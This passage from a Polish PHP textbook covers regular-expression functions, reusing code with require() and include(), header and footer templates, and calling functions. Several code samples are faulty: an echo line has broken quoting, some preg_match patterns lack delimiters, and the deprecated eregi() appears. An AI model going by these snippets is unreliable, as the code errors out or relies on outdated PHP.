Funkcja ta przeszukuje łańcuch znaków szukaj w celu odnalezienia fragmentów pasujących do wy-
rażenia regularnego zawartego w łańcuchu wzorzec. Jeśli uda się dopasować całe wyrażenie regular-
ne, to dopasowany fragment zostanie zapisany jako $dopasowania[0]; natomiast w kolejnych
elementach tej tablicy zostaną zapisane fragmenty łańcucha szukaj, do których zostały dopasowane
kolejne podwyrażenia.

Jedyną możliwą wartością parametru flags jest stała PREG_OFFSET_CAPTURE. W przypadku jej
użycia tablica dopasowania przyjmie inną postać. Każdy jej element będzie tablicą zawierającą
dopasowane podwyrażenie oraz pozycję łańcucha szukaj, na której dopasowany fragment został
znaleziony.

Parametr przesuniecie pozwala na rozpoczęcie dopasowywania wyrażenia regularnego od określo-


nego miejsca łańcucha szukaj.

Funkcja preg_match() zwraca wartość 1, jeśli udało się dopasować wyrażenie regularne, 0, jeśli
się to nie udało, oraz FALSE w razie wystąpienia błędu. Oznacza to, że aby uniknąć błędnej interpreta-
cji wyniku — potraktowania wartości 0 i FALSE w taki sam sposób — trzeba będzie zastosować
operator porównania ===.

Przykładowy Inteligentny Formularz można zaadaptować do współpracy z wyrażeniami regularny-


mi w następujący sposób:
if (!preg_match('/^[a-zA-Z0-9_\-\.]+@[a-zA-Z0-9\-]+\.[a-zA-Z0-9\-\.]+$/', $email)) {
echo "<p>To nie jest poprawny adres poczty elektronicznej.</p>".
<p>Proszę powrócić do poprzedniej strony i spróbować ponownie.</p>";
exit;
}
$adresdo = "komentarze@przyklad.com"; //wartość domyślna
if (preg_match("sklep|obsługa klienta|sprzedaż", $komentarz)) {
$adresdo = "sprzedaz@przyklad.com";
} else if (preg_match("dostarczy|dostaw", $komentarz)) {
$adresdo = "dostawy@przyklad.com";
} else if (preg_match("rachunek|księgowość", $komentarz)) {
$adresdo = "ksiegowosc@przyklad.com";
}
if (eregi("wielkiklient\.com", $email)) {
$adresdo = "janek@przyklad.com";
}
Rozdział 4.  Manipulowanie łańcuchami znaków i wyrażenia regularne 141

Zamiana fragmentów łańcuchów


za pomocą wyrażeń regularnych
Wyrażenia regularne mogą być również stosowane do odnajdywania i zamiany fragmentów łańcu-
chów znaków, podobnie jak funkcja str_replace(). Używa się wówczas funkcji preg_replace(),
której prototyp został przedstawiony poniżej:
mixed preg_replace(string wzorzec, string zamiennik, string szukaj [, int limit=-1 [, int &liczba]]);

Funkcja ta poszukuje fragmentów łańcucha szukaj pasujących do wyrażenia regularnego przekaza-


nego jako wzorzec i zamienia je na łańcuch znaków zamiennik.
Parametr limit określa maksymalną liczbę zamian, które zostaną wykonane. Domyślna wartość tego
parametru (-1) oznacza, że liczba wykonywanych zamian nie będzie w żaden sposób ograniczana.
Jeśli parametr liczba zostanie użyty, to zostanie w nim zapisana całkowita liczba wykonanych
zamian.

Rozdzielanie łańcuchów
za pomocą wyrażeń regularnych
Inną użyteczną funkcją wyrażeń regularnych jest split() o następującym prototypie:
array preg_split(string wzorzec, string szukaj [, int limit=-1 [, int flagi=0]]);

Funkcja ta dzieli łańcuch znaków szukaj na fragmenty według wyrażenia regularnego wzorzec,
po czym zwraca te fragmenty w tablicy. Parametr limit ogranicza liczbę fragmentów, jakie zostaną
zapisane w tablicy wynikowej. (Wartość domyślna, -1, oznacza, że liczba zwracanych fragmentów
nie będzie w żaden sposób ograniczana).
Parametr flags może być jedną z poniższych stałych (można też połączyć dwie lub więcej tych
wartości, używając operatora alternatywy bitowej (|)):
 PREG_SPLIT_NO_EMPTY — oznacza, że zwracane będą wyłącznie niepuste fragmenty;
 PREG_SPLIT_DELIM_CAPTURE — oznacza, że zwracane będą także fragmenty użyte
do podzielenia łańcucha wejściowego na części;
 PREG_SPLIT_OFFSET_CAPTURE — oznacza, że będą zwracane również informacje o miejscach
wystąpienia poszczególnych wyznaczonych fragmentów łańcucha wejściowego, podobnie
jak w przypadku użycia funkcji preg_match().
Własności te mogą być użyteczne przy rozdzielaniu adresów poczty elektronicznej, nazw domen
lub dat. Na przykład:
$domena = 'uzytkownik@przyklad.com';
$tab = preg_split("/\.|@/", $domena);
while (list($klucz, $wartosc) = each($tab)) {
echo "<br />".$wartosc;
}

Powyższe wyrażenie rozbija nazwę komputera na trzy części i wyświetla każdą z nich w osobnym
wierszu:
uzytkownik
przyklad
com
142 Część I  Stosowanie PHP

Generalnie funkcje wyrażeń regularnych pracują mniej wydajnie niż funkcje łańcuchowe
o podobnych możliwościach funkcjonalnych. Jeżeli dana aplikacja jest wystarczająco prosta,
aby zastosować w niej funkcje łańcuchowe, należy to uczynić. Nie dotyczy to jednak sytuacji,
gdy realizowane przez nią zadania można wykonać przy użyciu jednego wyrażenia regularnego
i większej liczby funkcji do obsługi łańcuchów znaków.

Propozycje dalszych lektur


PHP udostępnia wiele funkcji służących do manipulowania łańcuchami znaków. W tym rozdziale
omówiliśmy najbardziej użyteczne z nich, jednak w razie szczególnej potrzeby (na przykład
konieczności przekształcenia znaków na cyrylicę), można sprawdzić w podręczniku on-line PHP,
czy udostępnia on odpowiednią funkcję.

Istnieje ogromny materiał na temat wyrażeń regularnych. Użytkownicy Uniksa mogą rozpocząć od
strony regexp w man.

Zrozumienie wyrażeń regularnych zabiera nieco czasu — im jednak więcej obejrzanych i urucho-
mionych przykładów, tym większa biegłość.

W następnym rozdziale
W kolejnym rozdziale przedstawimy kilka sposobów zastosowania PHP. Dzięki ponownemu
wykorzystaniu istniejącego kodu będziemy mogli zaoszczędzić czas i wysiłek.
Rozdział 5.
Ponowne wykorzystanie
kodu i tworzenie funkcji
W tym rozdziale wyjaśnimy, w jaki sposób ponowne stosowanie istniejącego kodu pozwala uczynić
programy bardziej niezawodnymi, zwięzłymi i łatwiejszymi w utrzymaniu. Przedstawimy techniki
dzielenia na moduły i ponowne stosowanie kodu, począwszy od prostych zastosowań funkcji
require() i include() w celu użycia danego kodu na więcej niż jednej stronie. Wyjaśnimy, dlaczego
takie działania są lepsze niż funkcje Server Side Include. Przykład pomoże zrozumieć stosowanie
łączonych plików dla uzyskania spójnego wyglądu całej strony. Wyjaśnione zostaną także sposoby
tworzenia i wywoływania własnych funkcji, jako przykłady zostaną podane funkcje tworzenia
strony i formularza.

W tym rozdziale zostaną poruszone następujące zagadnienia:


 zalety ponownego stosowania kodu,
 stosowanie require() i include(),
 wprowadzenie do funkcji,
 definiowanie funkcji,
 używanie parametrów,
 zasięg,
 zwracanie wartości,
 przekazanie przez referencję, czy przekazanie przez wartość,
 implementowanie rekurencji,
 używanie przestrzeni nazw.

Zalety ponownego stosowania kodu


Jednym z celów inżynierów oprogramowania jest ponowne stosowanie kodu zamiast pisania
nowego. Nie dzieje się tak dlatego, że programiści są wyjątkowo leniwi, ale dlatego, że ponowne
stosowanie istniejącego kodu obniża koszty, zwiększa niezawodność i poprawia spójność. W ideal-
nym przypadku nowy projekt jest tworzony poprzez łączenie istniejących składników z minimalnym
nakładem pracy przy tworzeniu go od podstaw.
144 Część I  Stosowanie PHP

Koszt
Poprzez całe „życie” fragmentu oprogramowania jego utrzymywanie, modyfikowanie, testowanie
i dokumentowanie zajmie znacznie więcej czasu niż jego początkowe utworzenie. Piszący komer-
cyjny kod powinni ograniczać liczbę wierszy kodu stosowanych wewnątrz organizacji. Jedną z naj-
bardziej praktycznych metod osiągnięcia tego celu jest ponowne użycie już stosowanego kodu,
a nie pisanie jego nieco innej wersji dla nowego zadania. Mniejsza ilość kodu oznacza niższe
koszty. Jeżeli istnieje oprogramowanie spełniające wymagania nowego projektu, należy go użyć.
Wydatki związane z nabyciem już istniejącego oprogramowania są prawie zawsze niższe niż koszt
tworzenia równoważnego produktu. Dotyczy to zarówno kupowania produktu, jak i korzystania
z oprogramowania o otwartym kodzie źródłowym. Trzeba jednak wziąć pod uwagę możliwość, że
istniejące oprogramowanie nie spełnia wszystkich wymagań.

Modyfikacja istniejącego kodu niekiedy okazuje się trudniejsza niż napisanie nowego. W przypadku
korzystania z projektu o otwartym kodzie źródłowym warto poszukać takiego, którego architek-
tura opiera się na wtyczkach, gdyż programy tego typu pozwalają na łatwe rozszerzanie możliwości
funkcjonalnych. W przeciwnym razie, jeśli pojawi się konieczność wprowadzenia zmian w sposobie
działania programu, trzeba będzie albo przekazać zmiany do głównego projektu (co jest w takim
przypadku preferowanym rozwiązaniem), albo utrzymywać własną wersję kodu całego projektu
(co nie jest zalecane).

Niezawodność
Jeżeli dany moduł kodu jest już stosowany w jakiejś organizacji, przypuszczalnie został on dokładnie
przetestowany. Nawet jeżeli moduł ten składa się z kilku wierszy, istnieje prawdopodobieństwo,
że w razie napisania go od nowa mogą zostać przeoczone dane dopisane przez autora, na przykład
po znalezieniu błędów. Istniejący kod jest zazwyczaj bardziej niezawodny niż całkiem nowy.

Wyjątkiem od tej reguły są sytuacje, kiedy moduł kodu jest na tyle stary, że można go uznać
za przestarzały. Jeśli chodzi o starsze biblioteki, to czasami ich naturalny rozwój doprowadza
do pojawienia się niepotrzebnego, błędnego kodu. W takich przypadkach warto zastanowić się
nad opracowaniem ich zamiennika, który będzie się nadawał do użycia.

Spójność
Interfejsy zewnętrzne systemu — czy to interfejsy użytkownika, czy dla systemów zewnętrznych
— powinny być spójne. Napisanie nowego kodu spójnego z istniejącymi częściami systemu zabiera
dużo czasu i wysiłku. Zastosowanie działającego już kodu automatycznie zapewnia jego spójność.

Jednak najważniejszą z wymienionych zalet jest to, że ponowne stosowanie kodu oznacza mniejszą
ilość pracy dla autora. Musi jednak zostać spełniony warunek, że istniejący kod jest złożony
z modułów i dobrze napisany. Podczas pracy należy rozpoznawać poszczególne części swojego
kodu, aby można było się do nich odwołać w przyszłości.

Stosowanie funkcji require() i include()


PHP posiada dwie bardzo proste, a zarazem bardzo użyteczne instrukcje pozwalające na ponowne
używanie kodu. Stosowanie instrukcji require() i include() pozwala na załadowanie pliku do
skryptu PHP. Plik ten może zawierać wszystko, co zwykle można umieścić w skrypcie, czyli in-
strukcje PHP, tekst, znaczniki HTML, funkcje PHP i klasy PHP.
Rozdział 5.  Ponowne wykorzystanie kodu i tworzenie funkcji 145

Instrukcje te działają podobnie do funkcji Server Side Include serwerów WWW i dyrektywa #include
w C lub C++.

Instrukcje require() i include() są niemal identyczne. Jedyna różnica między nimi polega na tym,
że w przypadku niepowodzenia require() wygeneruje błąd krytyczny, natomiast include() wygene-
ruje tylko ostrzeżenie.

Funkcje require() i include() występują w dwóch odmianach — są to odpowiednio funkcje


require_once() i include_once(). Ich celem jest — co chyba nietrudno zgadnąć — zagwaranto-
wanie, że plik zostanie dołączony tylko jeden raz. Funkcje te okażą się użyteczne, gdy przy użyciu
require() i include() zaczniemy dołączać biblioteki funkcji. Dzięki zastosowaniu tych drugich
odmian unikniemy sytuacji, w której przez przypadek po raz drugi dołączona zostanie ta sama
biblioteka funkcji, co doprowadziłoby do zredefiniowania funkcji i powstania błędu. Programiści
przykładający dużą wagę do stosowania dobrych praktyk programistycznych używają zazwyczaj
funkcji require() lub include(), których wykonywanie przebiega szybciej.

Stosowanie funkcji require() do dołączania kodu


Następujący kod jest zapisany w pliku o nazwie ponownie.php:
<?php
echo 'Oto bardzo prosta instrukcja PHP.<br />';
?>

Poniższy kod jest zapisany w pliku o nazwie glowny.php:


<?php
echo 'Oto główny plik.<br />';
require('ponownie.php');
echo 'Skrypt się zakończy.<br />';
?>

Po uruchomieniu ponownie.php w przeglądarce pojawi się łatwy do przewidzenia wynik Oto


bardzo prosta instrukcja PHP. Po włączeniu glowny.php rezultat jest bardziej interesujący
(zobacz rysunek 5.1).

Rysunek 5.1.
Uruchomienie pliku
glowny.php pokazuje
również skrypt
ponownie.php
146 Część I  Stosowanie PHP

Aby zastosować instrukcję require(), trzeba mieć plik. W poprzednim przykładzie został zastoso-
wany plik ponownie.php. Po uruchomieniu skryptu instrukcja:
require('ponownie.php');

ulega zamianie na zawartość żądanego pliku, po czym skrypt zostaje wykonany. Oznacza to, że po
uruchomieniu glowny.php będzie pracował tak, jak gdyby został napisany w następujący sposób:
<?php
echo "Oto główny plik.<br />";
echo "Oto bardzo prosta instrukcja PHP.<br />";
echo "Skrypt się zakończy.<br />";
?>

Przy stosowaniu require() należy pamiętać o różnych sposobach zarządzania rozszerzeniami


plików i znacznikami PHP.

PHP nie zwraca uwagi na rozszerzenie żądanego pliku. Oznacza to, że można dowolnie nazywać
pliki dopóty, dopóki nie zostają one wywołane bezpośrednio. Kiedy do załadowania pliku stosuje
się require(), stanie się on częścią pliku PHP i jako taki zostanie wykonany.

Zazwyczaj instrukcje PHP nie zostałyby przetworzone, gdyby znajdowały się w pliku o nazwie
na przykład strona.html. PHP zwykle pracuje jedynie z plikami o określonych rozszerzeniach,
takich jak .php. (Ustawienie to można zmienić w pliku konfiguracyjnym serwera WWW). Jednak
załadowanie strony strona.html poprzez require() spowoduje, że cały PHP wewnątrz niej zostanie
wykonany. Tak więc pliki ponownie używane mogą mieć dowolne rozszerzenie, lecz z powodów
wymienionych poniżej dobrze jest konsekwentnie stosować rozszerzenie .php.

Przede wszystkim trzeba wziąć pod uwagę to, że jeżeli pliki o rozszerzeniu .inc (bądź innym
niestandardowym) przechowywane są w katalogu dokumentów WWW i użytkownik załaduje
je bezpośrednio do przeglądarki, będzie on mógł zobaczyć cały kod jako zwykły tekst, w tym także
wszystkie hasła. Tak więc ważne jest przechowywanie ponownie użytych plików w katalogu poza
drzewem katalogów serwera WWW lub używanie standardowych rozszerzeń.

W powyższym przykładzie ponownie stosowany plik (ponownie.php) był następujący:


<?php
echo 'Oto bardzo prosta instrukcja PHP.<br />';
?>

Kod PHP w pliku znalazł się wewnątrz znaczników PHP. Konwencja ta jest konieczna, aby w żą-
danym pliku został potraktowany jako kod PHP. Jeżeli znajdzie się poza znacznikami, zostanie
ujęty jako tekst lub HTML i nie zostanie wykonany.

Stosowanie require() w szablonach stron WWW


Jeżeli dana firma stosuje spójny wygląd dla swoich stron WWW, PHP może być wykorzystany
do dodania szablonu i standardowych elementów przy użyciu require().

Na przykład witryna WWW fikcyjnej firmy TLA Consulting posiada pewną liczbę stron o wyglą-
dzie przedstawionym na rysunku 5.2. Kiedy potrzebna jest nowa strona, programista może otworzyć
już istniejącą, wyciąć niepotrzebne fragmenty tekstu, wprowadzić nowy tekst i zapisać plik pod
nową nazwą.
Rozdział 5.  Ponowne wykorzystanie kodu i tworzenie funkcji 147

Rysunek 5.2.
TLA Consulting posiada
standardowy wygląd
wszystkich swoich
stron WWW

Przeanalizujmy następujący scenariusz. Witryna WWW istnieje już od pewnego czasu, a w niej
dziesiątki, setki lub nawet tysiące stron o podobnym stylu. Zapada decyzja o zmianie standardowego
wyglądu — może to być niewielka modyfikacja, jak dodanie adresu poczty elektronicznej w stopce
każdej strony lub pojedynczej opcji w menu nawigacyjnym. Czy ma sens ręczna zmiana dziesiątek,
setek, a może nawet tysięcy stron?

Bezpośrednie ponowne stosowanie fragmentów HTML-a wspólnych dla wszystkich stron jest
dużo lepszym rozwiązaniem niż wycinanie i wklejanie w dziesiątkach, setkach, a nawet tysiącach
stron. Kod źródłowy strony głównej (glowna.html), widocznej na rysunku 5.2, został przedstawiony
na listingu 5.1.

Listing 5.1. glowna.html — kod HTML tworzący stronę główną firmy TLA Consulting
<!DOCTYPE html>
<html>
<head>
<title>TLA CONSULTING</title>
<link href="styles.css" type="text/css" rel="stylesheet">
</head>
<body>

<!-- nagłówek strony -->


<header>
<img src="logo.gif" alt="TLA logo" height="70" width="70" />
<h1>TLA Consulting</h1>
</header>

<!-- menu -->


<nav>
<div class="menuitem">
<a href="home.html">
<img src="s-logo.gif" alt="" height="20" width="20" />
<span class="menutext">Strona główna</span>
</a>
</div>

<div class="menuitem">
<a href="contact.html">
<img src="s-logo.gif" alt="" height="20" width="20" />
<span class="menutext">Kontakt</span>
</a>
</div>
148 Część I  Stosowanie PHP

<div class="menuitem">
<a href="services.html">
<img src="s-logo.gif" alt="" height="20" width="20" />
<span class="menutext">Usługi</span>
</a>
</div>

<div class="menuitem">
<a href="about.html">
<img src="s-logo.gif" alt="" height="20" width="20" />
<span class="menutext">O nas</span>
</a>
</div>
</nav>

<!-- zawartość strony -->


<section>
<h2>Witamy na stronie TLA Consulting.</h2>
<p> Prosimy, aby poświęcili nam Państwo trochę czasu i poznali nas.</p>
<p>Specjalizujemy się w zaspokajaniu potrzeb biznesowych
i mamy nadzieję na współpracę.</p>
</section>

<!-- stopka strony -->


<footer>
<p>&copy; TLA Consulting<br />
Prosimy odwiedzić <a href ="prawne.php">stronę informacji prawnych</a>.</p>
</footer>

</body>
</html>

Jak pokazano na listingu 5.1, plik ten posiada kilka wyraźnych części kodu. Nagłówek strony
— element <head> — zawiera odwołanie do pliku kaskadowych arkuszy stylów (Cascading Style
Sheet — CSS), wykorzystywanych przez stronę. Część o nazwie naglowek wyświetla nazwę i logo
firmy, menu tworzy pasek nawigacyjny, a zawartosc to tekst właściwy dla strony. Poniżej znajduje
się stopka strony. Możliwe jest przydatne rozdzielenie tego pliku i nazwanie części naglowek.php,
glowna.php i stopka.php. Zarówno naglowek.php, jak i stopka.php zawierają kod, który zostanie
ponownie wykorzystany na innych stronach.

Plik glowna.php to zamiennik pliku glowna.html, zawierający właściwą zawartość strony oraz
dwie instrukcje require(), jak przedstawiono na listingu 5.2.

Listing 5.2. glowna.php — kod PHP tworzący stronę główną TLA


<?php
require('naglowek.php');
?>
<!-- zawartość strony -->
<section>
<h2>Witamy na stronie TLA Consulting.</h2>
<p>Prosimy, aby poświęcili nam Państwo trochę czasu i poznali nas.</p>
<p>Specjalizujemy się w zaspokajaniu potrzeb biznesowych
i mamy nadzieję na współpracę.</p>
</section>
<?
require('stopka.php');
?>

Instrukcje require() w glowna.php ładują pliki naglowek.php i stopka.php.


Rozdział 5.  Ponowne wykorzystanie kodu i tworzenie funkcji 149

Jak wspomniano wcześniej, nazwy nadane plikom nie wpływają na sposób ich przetwarzania
po wywołaniu przez require(). Zwyczajową konwencją jest nazywanie plików częściowych,
które zostaną umieszczone w innych plik.inc (gdzie inc znaczy include — „dołącz”). Ogólnie
rzecz biorąc, stosowanie takiej konwencji nie jest zalecane, ponieważ domyślnie pliki z rozszerze-
niem .inc nie będą interpretowane jako pliki z kodem PHP, dopóki nie skonfiguruje się w odpowied-
ni sposób serwera WWW.

Jeżeli jednak przytoczoną konwencję planuje się zastosować, powszechnym i użytecznym pomy-
słem jest wówczas umieszczanie plików częściowych w katalogu widzianym przez skrypty, ale
niepozwalającym na ładowanie poszczególnych plików przez serwer WWW, czyli w katalogu
umieszczonym poza drzewem katalogów serwera WWW. Uniemożliwia to bezpośrednie ładowa-
nie poszczególnych plików, co prawdopodobnie:
1. dałoby błędne wykonanie plików oznaczonych jako .php, lecz zawierających jedynie
część strony bądź skryptu lub
2. pozwoliło użytkownikom na odczytanie kodu źródłowego plików o innych rozszerzeniach.

Plik naglowek.php zawiera definicje CSS używane przez tę stronę, tabele wyświetlające nazwę
firmy oraz menu nawigacyjne, jak to zostało przedstawione na listingu 5.3.

Listing 5.3. naglowek.php — stosowany wielokrotnie nagłówek wszystkich stron WWW TLA
<!DOCTYPE html>
<html>
<head>
<title>TLA CONSULTING</title>
<link href="styles.css" type="text/css" rel="stylesheet">
</head>
<body>

<!-- nagłówek strony -->


<header>
<img src="logo.gif" alt="TLA logo" height="70" width="70" />
<h1>TLA Consulting</h1>
</header>

<!-- menu -->


<nav>
<div class="menuitem">
<a href="home.html">
<img src="s-logo.gif" alt="" height="20" width="20" />
<span class="menutext">Strona główna</span>
</a>
</div>

<div class="menuitem">
<a href="contact.html">
<img src="s-logo.gif" alt="" height="20" width="20" />
<span class="menutext">Kontakt</span>
</a>
</div>

<div class="menuitem">
<a href="services.html">
<img src="s-logo.gif" alt="" height="20" width="20" />
<span class="menutext">Usługi</span>
</a>
</div>

<div class="menuitem">
<a href="about.html">
150 Część I  Stosowanie PHP

<img src="s-logo.gif" alt="" height="20" width="20" />


<span class="menutext">O nas</span>
</a>
</div>
</nav>

Plik stopka.php zawiera tabelę wyświetlającą stopkę na dole każdej strony. Plik ten jest przedsta-
wiony na listingu 5.4.

Listing 5.4. stopka.php — Stosowana wielokrotnie stopka dla wszystkich stron WWW TLA
<!-- stopka strony -->
<footer>
<p>&copy; TLA Consulting<br />
Prosimy odwiedzić <a href ="prawne.php">stronę informacji prawnych</a>.</p>
</footer>

</body>
</html>

Takie ujęcie pozwala łatwo uzyskać spójnie wyglądające strony WWW. Nowa strona w tym stylu
może być utworzona na przykład następująco:
<? require('naglowek.php'); ?>
Oto zawartość tej strony
<? require('stopka.php'); ?>

Co najważniejsze, nawet po utworzeniu za pomocą tego nagłówka i stopki wielu stron WWW
łatwo jest zmienić pliki nagłówka i stopki. Niezależnie od tego, czy jest to drobna modyfikacja
w tekście, czy też całkowite przeprojektowanie wyglądu witryny, zmiany należy dokonać tylko
jednym miejscu. Nie trzeba oddzielnie zmieniać każdej strony w witrynie, ponieważ każda strona
ładuje ten sam nagłówek i stopkę.

W powyższym przykładzie użyto czystego kodu HTML w zawartości, nagłówku i stopce. Nie
jest to wymogiem. W plikach tych można stosować instrukcje PHP w celu dynamicznego genero-
wania części strony.

Aby mieć pewność, że plik rzeczywiście będzie traktowany jak zwykły tekst lub HTML, a nie
zostanie wykonany przez PHP, można zastosować funkcję readfile(). Wyświetla ona zawartość
pliku bez parsowania go. Rozwiązanie takie może być niezbędne z punktu widzenia bezpieczeń-
stwa, jeśli przetwarzany jest tekst wpisany przez użytkownika.

Stosowanie opcji auto_prepend_file i auto_append_file


Oprócz dodania nagłówka i stopki za pomocą require() lub include() istnieje również druga
metoda. Dwie z opcji konfiguracyjnych pliku php.ini to auto_prepend_file i auto_append_file.
Poprzez ustawienie wartości tych opcji na pliki nagłówka i stopki zapewniamy ich załadowanie
przed każdą stroną i po każdej stronie. Pliki dołączone przy użyciu tych dyrektyw zachowują się
tak samo, jak gdyby zostały dołączone funkcją include(), to znaczy, jeśli plik nie zostanie odna-
leziony, nastąpi wygenerowanie ostrzeżenia.

Dla Windows ustawienia te będą podobne do następujących:


auto_prepend_file = "c:/sciezka/do/pliku/naglowek.php"
auto_append_file = " c:/sciezka/do/pliku/stopka.php"
Rozdział 5.  Ponowne wykorzystanie kodu i tworzenie funkcji 151

Z kolei dla Uniksa będą one podobne do tych:


auto_prepend_file = "/sciezka/do/pliku/naglowek.php"
auto_append_file = "/sciezka/do/pliku/stopka.php"

Stosując te dyrektywy, nie trzeba wpisywać instrukcji require(), ale nagłówki i stopki nie będą
już opcją dla strony.

Korzystający z serwera WWW Apache mogą zmieniać podobne do powyższych opcje konfigura-
cyjne oddzielnie dla każdego katalogu. Aby użytkownicy mogli to uczynić, serwer musi być usta-
wiony tak, aby pozwalał na ominięcie głównych plików konfiguracyjnych. W celu ustawienia
w katalogu automatycznego dołączania na początku i końcu plików należy w nim utworzyć
plik o nazwie .htaccess. Musi on zawierać dwa następujące wiersze:
php_value auto_prepend_file "/sciezka/do/pliku/naglowek.php"
php_value auto_append_file "/sciezka/do/pliku/stopka.php"

Należy zauważyć drobne różnice w składni między powyższymi opcjami a ich odpowiednikami
w pliku php.ini: nie dość, że na początku wiersza umieszczona jest fraza php_value, to jeszcze nie
ma w nim znaku równości. Istnieje także kilka innych ustawień konfiguracyjnych php.ini, które
można zmieniać w ten sposób.

Ustawianie opcji w pliku .htaccess zamiast w php.ini lub w plikach konfiguracyjnych serwera
daje dużą elastyczność. Można zmieniać ustawienia współdzielonego serwera, które obejmują
tylko własne katalogi. Nie trzeba restartować serwera WWW ani mieć uprawnień administratora.
Wadą metody .htaccess jest to, że pliki konfiguracyjne muszą być odczytywane i analizowane przy
każdym otwarciu pliku w danym katalogu, a nie raz na starcie, co daje nieco niższą wydajność.

Stosowanie funkcji w PHP


Funkcje istnieją w większości języków programowania i służą do wyodrębniania kodu realizują-
cego pojedyncze, dobrze zdefiniowane zadanie, które może być wykonywane wielokrotnie.
Czyni to kod łatwiejszym do odczytania i pozwala na ponowne użycie go w razie następnej koniecz-
ności wykonania takiego samego zadania.

Pod względem formalnym funkcja jest kompletnym modułem kodu, który opisuje interfejs wywo-
łania, wykonuje jakieś zadanie i opcjonalnie zwraca wartość.

Dotychczas w tej książce zostało przedstawionych wiele funkcji. W poprzednich rozdziałach


wywoływane były funkcje wbudowane w PHP, a także pobieżnie zdefiniowano kilka prostych
funkcji, nie zwracając uwagi na szczegóły. W tej części wywoływanie i tworzenie funkcji zostaną
opisane dokładnie.

Wywoływanie funkcji
Poniższe wiersze to najprostsze możliwe wywołanie funkcji:
nazwa_funkcji();

Wywołuje ona funkcję o nazwie nazwa_funkcji, która nie wymaga parametrów. Kod ten ignoruje
również wszystkie wartości, które mogą być przez funkcję zwrócone.
152 Część I  Stosowanie PHP

Część funkcji jest wywoływana w dokładnie taki sposób. Funkcja phpinfo() okazuje się często
przydatna w różnego rodzaju testach, ponieważ wyświetla ona: informacje o zainstalowanej wersji
PHP i o PHP, ustawienia serwera WWW oraz wartości różnych zmiennych PHP i serwera. Choć
funkcja phpinfo() ma parametr wywołania i zwraca wartość, to jednak rzadko kiedy są one stoso-
wane; dlatego też zazwyczaj jej wywołanie ma następującą postać:
phpinfo();

Jednak większość funkcji wymaga jednego lub więcej parametrów. Parametry przekazuje się przez
umieszczenie danych lub nazwy zmiennej je przechowującej w nawiasach po nazwie funkcji.
Wywołanie funkcji z parametrem wygląda następująco:
nazwa_funkcji('parametr');

W tym przypadku zastosowanym parametrem był łańcuch znaków zawierający jedynie słowo
parametr, lecz poniższe wywołania są również prawidłowe, zależnie od tego, jakich parametrów
funkcja oczekuje:
nazwa_funkcji(2);
nazwa_funkcji(7.993);
nazwa_funkcji($zmienna);

Występująca w ostatnim wierszu $zmienna może być zmienną należącą do dowolnego typu w PHP,
w tym tablicą, obiektem, a nawet inną funkcją.

Parametr jest informacją dowolnego typu, lecz poszczególne funkcje zazwyczaj wymagają konkret-
nego typu danych.

Na podstawie prototypu funkcji można poznać liczbę parametrów funkcji, co poszczególne z nich
przedstawiają i jakiego typu danych potrzebują. W tej książce prototypy często są ukazywane
przy opisywaniu funkcji.

Oto prototyp funkcji fopen():


resource fopen(string nazwapliku, string tryb,
[bool uzycie_sciezki=false [, resource kontekst]]);

Na podstawie prototypu można dowiedzieć się kilku informacji i ważna jest prawidłowa interpre-
tacja tej specyfikacji. W tym przypadku słowo resource przed nazwą funkcji sygnalizuje, że zwraca
ona zasób resource (to znaczy uchwyt otwartego pliku). Parametry funkcji znajdują się w nawia-
sach. W przypadku funkcji fopen() w prototypie przedstawione są cztery parametry. Parametry
nazwapliku i tryb są łańcuchami znaków, parametr uzycie_sciezki ma wartość logiczną, a kontekst
jest zasobem. Nawiasy kwadratowe wokół uzycie_sciezki i kontekst wskazują, że są to parame-
try opcjonalne.

Można zatem podać ich wartości albo je zignorować — w tym drugim przypadku użyte zostaną ich
domyślne wartości. Należy jednak pamiętać, że w przypadku funkcji z więcej niż jednym parame-
trem opcjonalnym parametry można ignorować tylko od prawej strony. Na przykład używając
funkcji fopen(), można pozostawić pusty parametr kontekst albo zignorować od razu obydwa
parametry uzycie_sciezki i kontekst. Nie można natomiast zignorować parametru uzycie_sciezki,
a podać wartość parametru kontekst.

Po przeczytaniu prototypu tej funkcji wiadomo, że poniższy fragment kodu prawidłowo wywoła
fopen():
$nazwa = 'mojplik.txt';
$trybotwarcia = 'r';
$wp = fopen($nazwa, $trybotwarcia);
Rozdział 5.  Ponowne wykorzystanie kodu i tworzenie funkcji 153

Powyższy kod wywołuje funkcję o nazwie fopen(). Wartość zwrócona przez nią zostanie prze-
chowana w zmiennej $wp. W tym przypadku funkcji została przekazana zmienna $nazwa zawiera-
jąca łańcuch znaków. Łańcuch ten zawiera z kolei nazwę pliku, który ma zostać otwarty. Funkcji
tej została również przekazana zmienna $trybotwarcia, zawierająca łańcuch znaków przedsta-
wiający tryb, w którym plik ma zostać otwarty. Parametry opcjonalne nie zostały podane.

Wywołanie niezdefiniowanej funkcji


Podczas próby wywołania nieistniejącej funkcji pojawi się wiadomość o błędzie, podobna do po-
kazanej na rysunku 5.3.

Rysunek 5.3.
Wiadomość o błędzie
jest wynikiem wywołania
nieistniejącej funkcji

Wiadomości o błędach podawane przez PHP są zazwyczaj bardzo przydatne. Wiadomość przed-
stawiona na rysunku powyżej wskazuje dokładną nazwę pliku, w którym wystąpił błąd, numer
wiersza oraz nazwę funkcji. Informacja ta powinna pomóc w odnalezieniu i naprawieniu błędu.

W razie pojawienia się tej wiadomości należy sprawdzić następujące kwestie:


 Czy w podanej nazwie funkcji nie ma błędów literowych.
 Czy funkcja istnieje w aktualnie używanej wersji PHP.
 Czy funkcja należy do rozszerzenia, które nie zostało zainstalowane lub włączone.
 Czy funkcja jest zdefiniowana w pliku, który nie został dołączony do bieżącego skryptu.
 Czy funkcja jest dostępna w bieżącym zasięgu.

Nie zawsze łatwo zapamiętać dokładną nazwę funkcji. Na przykład niektóre funkcje o nazwach
dwuwyrazowych posiadają znak podkreślenia między elementami nazwy, a niektóre nie.
Funkcja stripslashes() łączy dwa słowa w jedno, podczas gdy strip_tags() oddziela je znakiem
podkreślenia. Złe przeliterowanie nazwy funkcji podczas jej wywoływania daje w wyniku błąd
przedstawiony na rysunku 5.3. Niespójne nazewnictwo funkcji jest jednym z dziwactw PHP.
Wynika ono z tego, że nazwy wielu funkcji PHP odpowiadają nazwom funkcji w używanych
bibliotekach języka C, które także są bardzo niespójne. Niemniej jednak wszystkie te rozbieżności
mogą być bardzo denerwujące.

Niektóre funkcje występujące w tej książce nie istnieją w starszych wersjach języka PHP, ponie-
waż założono, że obecnie stosuje się przynajmniej wersję 5.5. W kolejnych wersjach definiowa-
